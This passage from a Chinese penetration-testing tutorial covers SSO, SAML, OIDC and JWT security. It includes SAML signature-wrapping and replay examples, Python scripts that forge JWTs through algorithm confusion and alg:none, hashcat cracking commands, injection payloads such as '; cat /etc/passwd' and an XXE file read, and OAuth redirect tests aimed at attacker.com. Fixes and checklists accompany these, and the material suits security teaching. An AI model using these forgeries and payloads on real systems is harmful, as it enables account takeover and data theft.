PKCE 5. 监控异常的客户端活动 --- ## SSO 单点登录安全架构 ### 4.1 SSO 架构组件 ``` ┌─────────────────────────────────────────────────────────────────┐ │ 用户浏览器 │ │ User Browser │ └─────────────────────────────┬───────────────────────────────────┘ │ │ 1. 访问应用 A │────────────────────────> │ ┌─────────────────────────────▼───────────────────────────────────┐ │ 应用 A (Service Provider) │ │ Application A (SP) │ │ │ │ ┌─────────────────────────────────────────────────────────┐ │ │ │ 未认证 → 重定向到身份提供商 (IdP) │ │ │ └─────────────────────────────────────────────────────────┘ │ └─────────────────────────────┬───────────────────────────────────┘ │ │ 2. 重定向到 IdP 进行认证 │<──────────────────────── │ ┌─────────────────────────────▼───────────────────────────────────┐ │ 身份提供商 (Identity Provider) │ │ Identity Provider (IdP) │ │ │ │ ┌─────────────────────────────────────────────────────────┐ │ │ │ 验证用户身份 │ │ │ │ 生成 SAML Assertion / OIDC ID Token │ │ │ └─────────────────────────────────────────────────────────┘ │ └─────────────────────────────┬───────────────────────────────────┘ │ │ 3. 返回认证响应 │────────────────────────> │ ┌─────────────────────────────▼───────────────────────────────────┐ │ 应用 A (Service Provider) │ │ │ │ ┌─────────────────────────────────────────────────────────┐ │ │ │ 验证响应 │ │ │ │ 创建本地会话 │ │ │ │ 重定向到应用 A 主页 │ │ │ └─────────────────────────────────────────────────────────┘ │ └─────────────────────────────┬───────────────────────────────────┘ │ │ 4. 用户访问应用 B │────────────────────────> │ ┌─────────────────────────────▼───────────────────────────────────┐ │ 应用 B (Service Provider) │ │ Application B (SP) │ │ │ │ ┌─────────────────────────────────────────────────────────┐ │ │ │ 检查到 IdP 已有会话 → 无需重新登录 │ │ │ │ 直接创建本地会话 │ │ │ └─────────────────────────────────────────────────────────┘ │ └─────────────────────────────────────────────────────────────────┘ ``` ### 4.2 SSO 安全考虑 | 安全考虑 | 风险 | 缓解措施 | |----------|------|----------| | IdP 单点故障 | IdP 宕机导致所有应用不可用 | IdP 高可用、备用认证方式 | | IdP 被攻破 | 攻击者获得所有应用访问权限 | MFA、监控、快速撤销 | | 会话固定 | 攻击者劫持 SSO 会话 | 会话 ID 轮换、绑定设备 | | 注销不同步 | 用户在一个应用注销,其他应用仍登录 | 全局注销 (SLO) | | 信任链攻击 | 恶意 SP 加入信任链 | 严格 SP 注册审核 | ### 4.3 SSO 会话管理 **会话生命周期**: ``` ┌──────────────────────────────────────────────────────────────┐ │ SSO 会话生命周期 │ ├──────────────────────────────────────────────────────────────┤ │ │ │ 登录 │ │ │ │ │ ▼ │ │ ┌─────────────────┐ │ │ │ IdP 主会话 │ ← 长期会话(天/周) │ │ │ IdP Session │ │ │ └────────┬────────┘ │ │ │ │ │ │ 创建 │ │ ▼ │ │ ┌─────────────────┐ ┌─────────────────┐ ┌──────────────┐ │ │ │ 应用 A 本地会话 │ │ 应用 B 本地会话 │ │ 应用 C 本地会话│ │ │ │ App A Session │ │ App B Session │ │ App C Session│ │ │ │ (短期:小时) │ │ (短期:小时) │ │ (短期:小时) │ │ │ └─────────────────┘ └─────────────────┘ └──────────────┘ │ │ │ │ 注销 │ │ │ │ │ ├── 局部注销 (Local Logout): 仅注销当前应用 │ │ │ │ │ └── 全局注销 (SLO): 注销 IdP 和所有应用 │ │ │ └──────────────────────────────────────────────────────────────┘ ``` --- ## SAML 协议安全测试 ### 5.1 SAML 基础 **SAML (Security Assertion Markup Language)** 是基于 XML 的 SSO 协议,广泛应用于企业环境。 **SAML 角色**: | 角色 | 说明 | |------|------| | 主体 (Principal) | 用户 | | 身份提供商 (IdP) | 验证用户身份,生成 SAML 断言 | | 服务提供商 (SP) | 依赖 IdP 进行认证的应用 | **SAML 断言类型**: 1. **认证断言 (Authentication Assertion)**:证明用户已认证 2. **属性断言 (Attribute Assertion)**:包含用户属性(邮箱、角色等) 3. **授权决策断言 (Authorization Decision Assertion)**:授权决策信息 ### 5.2 SAML 认证流程 ``` ┌─────────┐ ┌─────────────┐ ┌──────────────┐ │ 用户 │ │ 服务提供商 │ │ 身份提供商 │ │ User │ │ SP │ │ IdP │ └────┬────┘ └──────┬──────┘ └──────┬───────┘ │ │ │ │ 1. 访问 SP 受保护资源 │ │─────────────────>│ │ │ │ │ │ │ 2. 生成 SAML 请求 │ │ │ SAML Request │ │ │────────────────────>│ │ │ │ │ 3. 重定向到 IdP 登录 │ │ │<──────────────────────────────────────│ │ │ │ │ 4. 用户登录 │ │ │──────────────────────────────────────>│ │ │ │ │ │ 5. 生成 SAML 响应 │ │ │ SAML Response │ │ │ (包含 Assertion) │ │ │<────────────────────│ │ │ │ │ 6. 重定向回 SP,携带 SAML Response │ │──────────────────────────────────────>│ │ │ │ │ │ 7. 验证 SAML 响应 │ │ │ - 验证签名 │ │ │ - 验证有效期 │ │ │ - 验证 Audience │ │ │ │ │ │ 8. 创建本地会话 │ │ │────────────────────>│ │ │ │ │ 9. 访问成功 │ │ │<─────────────────│ │ │ │ │ ``` ### 5.3 SAML 安全漏洞 #### 5.3.1 SAML 签名绕过 **漏洞原理**:攻击者修改 SAML 断言内容,但绕过签名验证。 **常见攻击方式**: 1. **签名剥离攻击**:删除签名,SP 未验证 2. **XML 签名包装攻击**:添加额外签名元素 3. **注释注入攻击**:在签名元素中插入注释 4. **算法降级攻击**:强制使用弱签名算法 **测试方法**: ```xml <!-- 正常 SAML Response --> <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"> <saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"> <saml:Subject> <saml:NameID>user@example.com</saml:NameID> </saml:Subject> <saml:AuthnStatement> <saml:AuthnContext> <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef> </saml:AuthnContext> </saml:AuthnStatement> </saml:Assertion> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <!-- 签名内容 --> </ds:Signature> </samlp:Response> <!-- 攻击 1: 修改 NameID 为管理员 --> <saml:NameID>admin@example.com</saml:NameID> <!-- 如果 SP 未验证签名 → 权限提升成功 --> <!-- 攻击 2: 签名剥离 --> <!-- 删除 <ds:Signature> 部分,如果 SP 接受无签名的 Response → 漏洞 --> <!-- 攻击 3: XML 签名包装 --> <samlp:Response> <saml:Assertion ID="legitimate"> <!-- 合法内容,被签名 --> </saml:Assertion> <saml:Assertion ID="attack"> <saml:NameID>admin@example.com</saml:NameID> <!-- 攻击内容,未被签名但被 SP 处理 --> </saml:Assertion> </samlp:Response> ``` **测试工具**: ```bash # 使用 SAML Raider (Burp Suite 扩展) # 1. 拦截 SAML Response # 2. 修改 NameID 或属性 # 3. 尝试不同签名绕过技术 # 4. 转发请求 # 使用 samlib.py python samlib.py --forge-assertion --nameid admin@example.com original_response.xml # 使用 xmlsec 验证签名 xmlsec1 --verify --pubkey-cert-pem idp_cert.pem response.xml ``` **修复建议**: 1. 始终验证 SAML 签名 2. 验证签名覆盖所有关键元素 3. 拒绝无签名的 SAML 响应 4. 使用强签名算法(RSA-SHA256 或更好) 5. 验证 Audience 限制 6. 验证有效期(NotBefore/NotOnOrAfter) #### 5.3.2 SAML 重放攻击 **漏洞原理**:攻击者捕获有效的 SAML 响应,稍后重放以获得未授权访问。 **测试方法**: ```bash # 1. 捕获合法的 SAML Response SAML_RESPONSE="捕获的响应" # 2. 等待一段时间(超过正常会话时间) sleep 3600 # 3. 重放 SAML Response curl -X POST "https://sp.example.com/saml/acs" \ -d "SAMLResponse=$SAML_RESPONSE" # 如果成功 → 存在重放漏洞 ``` **修复建议**: 1. 实施 InResponseTo 验证 2. 使用一次性 ID 3. 维护已处理 ID 的缓存 4. 设置短的有效期 5. 绑定会话到客户端 IP 或设备 #### 5.3.3 SAML 配置错误 **常见配置错误**: | 错误 | 风险 | 检测 | |------|------|------| | 未验证签名 | 断言篡改 | 修改断言内容测试 | | 接受 HTTP | 中间人攻击 | 检查是否强制 HTTPS | | 宽松 Audience | 跨租户访问 | 测试不同 Audience | | 无有效期 | 重放攻击 | 延迟重放测试 | | 接受自签名证书 | 伪造 IdP | 使用自签名证书测试 | ### 5.4 SAML 测试检查清单 ``` □ SAML Response 签名验证 □ SAML Assertion 签名验证 □ 证书链验证 □ 签名算法强度(拒绝 MD5、SHA1) □ Audience 限制验证 □ 有效期验证(NotBefore/NotOnOrAfter) □ InResponseTo 验证 □ 条件语句验证 □ NameID 格式验证 □ 属性验证 □ HTTPS 强制 □ 注销功能测试 □ 错误处理(不泄露敏感信息) ``` --- ## OIDC 身份层安全测试 ### 6.1 OIDC 基础 **OpenID Connect (OIDC)** 是构建在 OAuth 2.0 之上的身份层,用于认证用户身份。 **OIDC 新增组件**: | 组件 | 说明 | |------|------| | ID Token | JWT 格式,包含用户身份信息 | | UserInfo Endpoint | 获取额外用户信息 | | Standard Scopes | openid, profile, email, address, phone | | Claims | 用户声明(姓名、邮箱等) | ### 6.2 ID Token 结构 ```json { "iss": "https://accounts.example.com", "sub": "1234567890", "aud": "client_id_abc123", "exp": 1516239022, "iat": 1516235422, "auth_time": 1516235400, "nonce": "n-0S6_WzA2Mj", "acr": "urn:oasis:names:tc:SAML:2.0:ac:classes:Password", "amr": [ "pwd" ], "email": "user@example.com", "email_verified": true, "name": "张三", "picture": "https://example.com/photo.jpg" } ``` **关键声明**: | 声明 | 说明 | 安全意义 | |------|------|----------| | iss | 签发者 | 验证 Token 来源 | | sub | 主题标识符 | 用户唯一标识 | | aud | 受众 | 验证 Token 是发给自己的 | | exp | 过期时间 | 防止使用过期 Token | | iat | 签发时间 | 审计用途 | | nonce | 随机数 | 防止重放攻击 | | acr | 认证上下文类 | 认证强度 | | amr | 认证方法引用 | 认证方式(密码、MFA 等) | ### 6.3 OIDC 安全测试 #### 6.3.1 ID Token 验证 **测试方法**: ```bash # 1. 获取 ID Token # 完成 OIDC 授权流程获取 ID Token ID_TOKEN="eyJhbGciOiJSUzI1NiIsImtpZCI6IjEyMzQ1Njc4OTAifQ.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.TCYt5XsITJX1CxPCT8yAV-TVkIEq_PbChOMqsLfRoPsnsgw5UE... " # 2. 解码 Token(不验证签名) echo $ID_TOKEN | cut -d'.' -f2 | base64 -d 2>/dev/null | jq . # 3. 验证签名 # 使用 jose 工具 jose jws ver -i id_token.jwt -k jwks.json # 4. 验证声明 # 检查 iss 是否匹配预期 # 检查 aud 是否包含 client_id # 检查 exp 是否未过期 # 检查 nonce 是否匹配请求中的值 # 5. 篡改测试 # 修改 payload 中的声明(如 email_verified: false → true) # 重新签名(应该失败,因为没有私钥) ``` #### 6.3.2 混合流程攻击 (Hybrid Flow Attacks) **OIDC 混合流程**: | 流程 | 返回内容 | 用途 | |------|----------|------| | code | 授权码 | 标准授权码流程 | | id_token token | ID Token + Access Token | 隐式流程 | | code id_token | 授权码 + ID Token | 混合流程 | | code token | 授权码 + Access Token | 混合流程 | | code id_token token | 授权码 + ID Token + Access Token | 混合流程 | **测试方法**: ```bash # 测试混合流程中的安全控制 # 1. 请求 code id_token 流程 curl -v "https://auth.example.com/authorize?client_id=abc123&response_type=code%20id_token&redirect_uri=https://app.example.com/callback&scope=openid&nonce=xyz123" # 2. 检查 ID Token 是否立即返回(在授权码之前) # 3. 检查 ID Token 签名验证 # 4. 检查 nonce 验证 ``` #### 6.3.3 账户劫持测试 **漏洞场景**:攻击者将受害者账户链接到攻击者控制的凭据。 **测试方法**: ```bash # 1. 使用攻击者账户登录第三方 IdP # 2. 在 SP 发起登录,选择"使用第三方登录" # 3. 在 IdP 登录时,切换到受害者账户 # 4. 检查 SP 是否将受害者账户链接到攻击者会话 # 修复:实施 re-authentication 要求 # 在链接账户前要求重新输入密码 ``` ### 6.4 OIDC 安全最佳实践 1. **始终验证 ID Token 签名** 2. **验证所有必需声明**(iss, aud, exp, nonce) 3. **使用 HTTPS** 4. **实施 PKCE** 5. **设置合理的 Token 有效期** 6. **监控异常登录模式** 7. **提供账户链接审计日志** --- ## JWT Token 安全测试 ### 7.1 JWT 结构 ``` ┌─────────────────────────────────────────────────────────────┐ │ JWT Token │ │ eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c └─────────────────────────────────────────────────────────────┘ │ ┌───────────────┼───────────────┐ │ │ │ ▼ ▼ ▼ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ Header │ │ Payload │ │ Signature│ │ 头部 │ │ 负载 │ │ 签名 │ └──────────┘ └──────────┘ └──────────┘ ``` **Header(头部)**: ```json { "alg": "HS256", "typ": "JWT" } ``` **Payload(负载)**: ```json { "sub": "1234567890", "name": "John Doe", "iat": 1516239022 } ``` **Signature(签名)**: ``` HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret ) ``` ### 7.2 JWT 常见漏洞 #### 7.2.1 算法混淆攻击 (Algorithm Confusion) **漏洞原理**:攻击者将签名算法从 RS256(非对称)改为 HS256(对称),使用公钥作为 HMAC 密钥。 **攻击步骤**: 1. 获取 JWT 和公钥(通常公开) 2. 修改 Header 中的 alg 为 HS256 3. 修改 Payload 中的声明(如 role: admin) 4. 使用公钥作为 HMAC 密钥签名 5. 服务器使用公钥验证 HMAC 签名(错误实现) **测试方法**: ```python import jwt import base64 # 原始 Token original_token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOmZhbHNlLCJpYXQiOjE1MTYyMzkwMjJ9.signature" # 获取公钥(从 JWKS 端点或证书) public_key = """-----BEGIN PUBLIC KEY----- ... -----END PUBLIC KEY-----""" # 解码原始 Token header_b64, payload_b64, signature = original_token.split('.') payload = base64.urlsafe_b64decode(payload_b64 + '==') # 修改 Header: RS256 → HS256 new_header = {"alg": "HS256", "typ": "JWT"} new_header_b64 = base64.urlsafe_b64encode(json.dumps(new_header).encode()).rstrip(b'=').decode() # 修改 Payload: admin: false → true import json payload_dict = json.loads(payload) payload_dict['admin'] = True new_payload_b64 = base64.urlsafe_b64encode(json.dumps(payload_dict).encode()).rstrip(b'=').decode() # 使用公钥作为 HMAC 密钥签名 forged_signature = jwt.encode( base64.urlsafe_b64encode(json.dumps(payload_dict).encode()).rstrip(b'='), public_key, algorithm='HS256' ) # 构造伪造的 Token forged_token = f"{new_header_b64}.{new_payload_b64}.{forged_signature}" print(forged_token) ``` **修复建议**: 1. 明确指定接受的算法列表 2. 不接受 alg: none 3. 区分非对称和对称算法的处理 4. 使用 kid 参数时验证密钥来源 #### 7.2.2 None 算法攻击 **漏洞原理**:攻击者将 alg 设置为 none,移除签名,服务器接受无签名的 Token。 **测试方法**: ```python import base64 import json # 原始 Token original_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIn0.signature" # 修改 Header: alg = none new_header = {"alg": "none", "typ": "JWT"} new_header_b64 = base64.urlsafe_b64encode(json.dumps(new_header).encode()).rstrip(b'=').decode() # 修改 Payload payload_dict = {"sub": "1234567890", "name": "Admin User", "admin": True} new_payload_b64 = base64.urlsafe_b64encode(json.dumps(payload_dict).encode()).rstrip(b'=').decode() # 无签名(空字符串) forged_token = f"{new_header_b64}.{new_payload_b64}." print(forged_token) # 或者使用 "none" 作为签名(某些实现) forged_token = f"{new_header_b64}.{new_payload_b64}.none" ``` **修复建议**: 1. 明确拒绝 alg: none 2. 始终验证签名 3. 白名单允许的算法 #### 7.2.3 密钥爆破攻击 **漏洞原理**:使用弱密钥的 JWT 可以被暴力破解。 **测试工具**: ```bash # 使用 hashcat 破解 HS256 JWT # 格式:<jwt>:<wordlist> hashcat -m 16500 jwt.txt wordlist.txt # 使用 john the ripper john --format=HMAC-SHA256 jwt.txt # 在线工具(仅用于测试自己的 Token) https://jwt.io/ ``` **修复建议**: 1. 使用强密钥(至少 256 位随机) 2. 定期轮换密钥 3. 考虑使用非对称算法(RS256、ES256) #### 7.2.4 JWT 注入攻击 **漏洞原理**:在 JWT 声明中注入特殊字符,导致后端处理错误。 **测试方法**: ```python # 测试 SQL 注入 payload = { "sub": "1' OR '1'='1", "name": "admin'--" } # 测试命令注入 payload = { "user_id": "123; cat /etc/passwd", "email": "test@example.com|whoami" } # 测试 XXE(如果后端解析 XML) payload = { "data": "<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>&xxe;" } ``` **修复建议**: 1. 验证和清理所有声明值 2. 使用参数化查询 3. 最小权限原则 ### 7.3 JWT 安全测试检查清单 ``` □ 验证签名算法(拒绝 none) □ 测试算法混淆攻击(RS256 → HS256) □ 验证密钥强度(爆破测试) □ 验证 exp 声明(过期 Token) □ 验证 nbf 声明(未生效 Token) □ 验证 iat 声明(签发时间) □ 验证 iss 声明(签发者) □ 验证 aud 声明(受众) □ 测试 JWT 注入 □ 验证 kid 参数(密钥注入) □ 检查敏感信息(不在 Payload 中存储密码等) □ 验证 JWK/JWKS 端点安全 ``` --- ## 渗透测试实战案例 ### 8.1 案例一:OAuth 重定向劫持导致账户接管 **场景**:某 SaaS 平台使用 OAuth 2.0 进行第三方登录。 **发现过程**: 1. **信息收集**:发现平台支持 Google、GitHub 第三方登录 2. **请求拦截**:拦截 OAuth 授权请求 3. **漏洞测试**: ```http # 原始请求 GET /oauth/authorize?client_id=saas_platform&redirect_uri=https://app.saas.com/auth/callback&response_type=code&scope=user:email # 修改 redirect_uri GET /oauth/authorize?client_id=saas_platform&redirect_uri=https://attacker.com/callback&response_type=code&scope=user:email ``` 4. **漏洞确认**:授权码被发送到 attacker.com **利用链**: ``` 1. 攻击者构造恶意链接 → 受害者点击 2. 受害者登录 Google → 授权 3. 授权码发送到攻击者服务器 4. 攻击者用授权码换取 Access Token 5. 攻击者调用 /user 接口获取受害者邮箱 6. 攻击者使用该邮箱注册/登录 SaaS 平台 7. 账户接管成功 ``` **修复方案**: 1. 在 OAuth 提供商注册精确的 redirect_uri 2. 服务器端验证 redirect_uri 完全匹配 3. 实施 state 参数防止 CSRF ### 8.2 案例二:SAML 签名绕过导致权限提升 **场景**:企业使用 SAML SSO 访问内部应用。 **发现过程**: 1. **流量捕获**:使用 Burp Suite 捕获 SAML Response 2. **签名分析**:发现签名仅覆盖 Assertion 部分内容 3. **漏洞测试**: ```xml <!-- 原始 SAML Response --> <saml:AttributeStatement> <saml:Attribute Name="Role"> <saml:AttributeValue>user</saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement> <!-- 修改为 admin --> <saml:AttributeStatement> <saml:Attribute Name="Role"> <saml:AttributeValue>admin</saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement> ``` 4. **漏洞确认**:修改后仍能成功登录,获得管理员权限 **修复方案**: 1. 签名覆盖整个 Assertion 2. SP 端严格验证签名 3. 实施属性白名单 ### 8.3 案例三:JWT 算法混淆导致认证绕过 **场景**:API 服务使用 JWT 进行身份认证。 **发现过程**: 1. **Token 分析**:获取正常 JWT Token 2. **算法测试**: ```python # 原始 Header {"alg": "RS256", "typ": "JWT"} # 修改为 HS256 {"alg": "HS256", "typ": "JWT"} # 使用公钥作为 HMAC 密钥签名 ``` 3. **Payload 修改**: ```json // 原始 {"user_id": 123, "role": "user"} // 修改后 {"user_id": 1, "role": "admin"} ``` 4. **漏洞确认**:伪造的 Token 被接受,获得管理员权限 **修复方案**: 1. 明确指定接受的算法 2. 拒绝 alg: none 3. 正确处理非对称/对称算法 ### 8.4 案例四:SSO 会话固定攻击 **场景**:多应用 SSO 环境。 **攻击过程**: 1. 攻击者访问应用 A,获取 SSO 会话 ID 2. 攻击者诱导受害者访问:`https://app.example.com?session_id=ATTACKER_SESSION` 3. 受害者登录,会话被固定到攻击者的会话 ID 4. 攻击者使用同一会话 ID 访问受害者账户 **修复方案**: 1. 登录后强制会话 ID 轮换 2. 拒绝 URL 中的会话参数 3. 绑定会话到设备指纹 --- ## 自动化测试工具 ### 9.1 OAuth 测试工具 | 工具 | 用途 | 链接 | |------|------|------| | OAuth Tester | Burp 扩展,测试 OAuth 漏洞 | Burp BApp Store | | AuthMatrix | 测试授权和权限 | GitHub | | JWT Editor | Burp 扩展,编辑和测试 JWT | Burp BApp Store | | jwt.io | 在线 JWT 解码和验证 | https://jwt.io | | crackjwt.py | JWT 密钥爆破 | GitHub | ### 9.2 SAML 测试工具 | 工具 | 用途 | 链接 | |------|------|------| | SAML Raider | Burp 扩展,SAML 测试 | Burp BApp Store | | SAMLtools | SAML 编码/解码/签名 | GitHub | | samlib.py | SAML 断言伪造 | GitHub | | xmlsec | XML 签名验证 | https://www.aleksey.com/xmlsec | ### 9.3 通用测试脚本 ```bash #!/bin/bash # oauth_test.sh - OAuth 安全测试脚本 TARGET_AUTH="https://auth.example.com" CLIENT_ID="test_client" REDIRECT_URI="https://app.example.com/callback" echo "[*] 测试 OAuth 重定向劫持..." # 测试 1: 开放重定向 curl -s -o /dev/null -w "%{http_code}" \ "$TARGET_AUTH/authorize?client_id=$CLIENT_ID&redirect_uri=https://attacker.com/callback&response_type=code" # 测试 2: 子域名绕过 curl -s -o /dev/null -w "%{http_code}" \ "$TARGET_AUTH/authorize?client_id=$CLIENT_ID&redirect_uri=https://attacker.app.example.com/callback&response_type=code" # 测试 3: 参数污染 curl -s -o /dev/null -w "%{http_code}" \ "$TARGET_AUTH/authorize?client_id=$CLIENT_ID&redirect_uri=$REDIRECT_URI&redirect_uri=https://attacker.com/callback&response_type=code" echo "[*] 测试 state 参数..." # 测试 4: 无 state 参数 curl -s -o /dev/null -w "%{http_code}" \ "$TARGET_AUTH/authorize?client_id=$CLIENT_ID&redirect_uri=$REDIRECT_URI&response_type=code" echo "[*] 测试完成" ``` --- ## 最佳实践与修复建议 ### 10.1 OAuth 2.0 安全最佳实践 | 实践 | 说明 | 优先级 | |------|------|--------| | 使用授权码 + PKCE | 最安全的流程 | ! 必须 | | 强制 HTTPS | 所有通信加密 | ! 必须 | | 验证 redirect_uri | 精确匹配 | ! 必须 | | 使用 state 参数 | 防止 CSRF | ! 必须 | | 短有效期 Token | Access Token < 1 小时 | ! 推荐 | | Refresh Token 轮换 | 每次使用生成新 Token | ! 推荐 | | Scope 最小化 | 只请求必要权限 | ! 推荐 | | Token 撤销机制 | 支持主动撤销 | ! 推荐 | ### 10.2 SAML 安全最佳实践 | 实践 | 说明 | 优先级 | |------|------|--------| | 验证签名 | 始终验证 SAML 签名 | ! 必须 | | 加密敏感数据 | 加密 Assertion 或属性 | ! 必须 | | 验证有效期 | NotBefore/NotOnOrAfter | ! 必须 | | 验证 Audience | 限制接收方 | ! 必须 | | 使用强算法 | RSA-SHA256 或更好 | ! 推荐 | | 实施 SLO | 全局注销 | ! 推荐 | | 监控异常 | 登录异常检测 | ! 推荐 | ### 10.3 OIDC 安全最佳实践 | 实践 | 说明 | 优先级 | |------|------|--------| | 验证 ID Token | 签名和所有声明 | ! 必须 | | 使用 PKCE | 防止授权码拦截 | ! 必须 | | 验证 nonce | 防止重放攻击 | ! 必须 | | HTTPS 强制 | 所有通信加密 | ! 必须 | | 短有效期 | ID Token < 1 小时 | ! 推荐 | | 实施 MFA | 多因素认证 | ! 推荐 | | 会话管理 | 适当的超时和撤销 | ! 推荐 | ### 10.4 JWT 安全最佳实践 | 实践 | 说明 | 优先级 | |------|------|--------| | 验证签名 | 始终验证 | ! 必须 | | 白名单算法 | 明确指定接受的算法 | ! 必须 | | 拒绝 none | 不接受 alg: none | ! 必须 | | 强密钥 | 至少 256 位随机 | ! 必须 | | 验证声明 | exp, nbf, iss, aud | ! 必须 | | 不存敏感信息 | Payload 不存储密码等 | ! 推荐 | | 定期轮换密钥 | 减少泄露影响 | ! 推荐 | | 使用非对称算法 | RS256/ES256 优于 HS256 | ! 推荐 | ### 10.5 实施检查清单 ``` OAuth 2.0 安全检查 □ 使用授权码流程(非隐式) □ 实施 PKCE □ redirect_uri 精确匹配 □ state 参数验证 □ client_secret 安全存储 □ Token 有效期合理 □ Refresh Token 轮换 □ Scope 最小化 □ Token 撤销支持 □ HTTPS 强制 SAML 安全检查 □ 签名验证 □ 签名覆盖完整 Assertion □ 有效期验证 □ Audience 验证 □ 加密敏感数据 □ 强签名算法 □ InResponseTo 验证 □ 全局注销支持 OIDC 安全检查 □ ID Token 签名验证 □ 所有必需声明验证 □ nonce 验证 □ PKCE 实施 □ UserInfo 端点安全 □ 动态客户端注册安全 □ 会话管理 JWT 安全检查 □ 签名验证 □ 算法白名单 □ 拒绝 alg: none □ 密钥强度足够 □ 声明验证(exp, iss, aud) □ 无敏感信息 □ 密钥轮换机制 ``` --- ## 总结与思考 ### 核心要点回顾 1. **OAuth 2.0 是授权框架,不是认证协议** - 使用 OIDC 进行身份认证 - 不要混淆授权和认证 2. **授权码 + PKCE 是最安全的流程** - 避免隐式模式 - 移动和 SPA 应用必须使用 PKCE 3. **签名验证是 SSO 安全的基石** - SAML、JWT 都必须严格验证签名 - 警惕算法混淆攻击 4. **Token 管理至关重要** - 短有效期 + Refresh Token 轮换 - 提供撤销机制 5. **配置错误是主要风险来源** - redirect_uri、Audience、算法配置 - 定期审计配置 ### 深入思考问题 1. **零信任架构下的 SSO** - 传统 SSO 假设内网可信 - 零信任要求持续验证 - 如何平衡用户体验和安全? 2. **去中心化身份 (DID)** - 基于区块链的身份管理 - 用户完全控制身份数据 - 对传统 SSO 的影响? 3. **密码学演进** - 后量子密码学对 JWT/SAML 的影响 - 算法迁移策略 - 向后兼容与安全升级的平衡 ### 实战建议 1. **渗透测试优先级** - 首先测试配置错误(redirect_uri、签名验证) - 然后测试协议漏洞(算法混淆、重放攻击) - 最后测试业务逻辑漏洞 2. **自动化测试** - 将 OAuth/SAML 测试集成到 CI/CD - 定期运行自动化扫描 - 监控配置变更 3. **持续监控** - 异常登录检测 - Token 使用模式分析 - 及时响应安全事件 --- ## 参考资料 ### 学习资源 1. **OAuth 2.0** - RFC 6749: https://tools.ietf.org/html/rfc6749 - OAuth 2.0 Security Best Practices: https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics - OAuth 2.1 Draft: https://oauth.net/2.1/ 2. **OpenID Connect** - OIDC Core Spec: https://openid.net/specs/openid-connect-core-1_0.html - OIDC Security Best Practices: https://openid.net/developers/how-connect-works/ 3. **SAML** - SAML 2.0 Overview: https://www.oasis-open.org/standards#samlv2.0 - SAML Security Considerations: https://docs.oasis-open.org/security/saml/v2.0/saml-sec-consider-2.0-os.pdf 4. **JWT** - RFC 7519: https://tools.ietf.org/html/rfc7519 - JWT Best Practices: https://auth0.com/blog/jwt-security-best-practices/ ### 工具资源 1. **测试工具** - Burp Suite: https://portswigger.net/burp - OWASP ZAP: https://www.zaproxy.org/ - JWT Editor: https://github.com/PortSwigger/jwt-editor 2. **在线工具** - jwt.io: https://jwt.io/ - SAML Decoder: https://www.samltool.com/ - OAuth Playground: https://oauthplayground.appspot.com/ 3. **代码库** - python-jose: https://github.com/mpdavis/python-jose - pyjwt: https://github.com/jpadilla/pyjwt - xmlsec: https://www.aleksey.com/xmlsec/ ### 书籍推荐 1. 《OAuth 2.0 Simplified》- Aaron Parecki 2. 《Web Security for Developers》- Malcolm McDonald 3. 《Real-World Bug Bounty》- Peter Yaworski 4. 《The Web Application Hacker's Handbook》- Dafydd Stuttard --- *Day 251 完成 | 渗透测试系列 41/50 | 累计 251/365*
myh0st
2026年4月13日 23:20
分享文档
收藏文档
上一篇
下一篇
微信扫一扫
复制链接
手机扫一扫进行分享
复制链接
Markdown文件
分享
链接
类型
密码
更新密码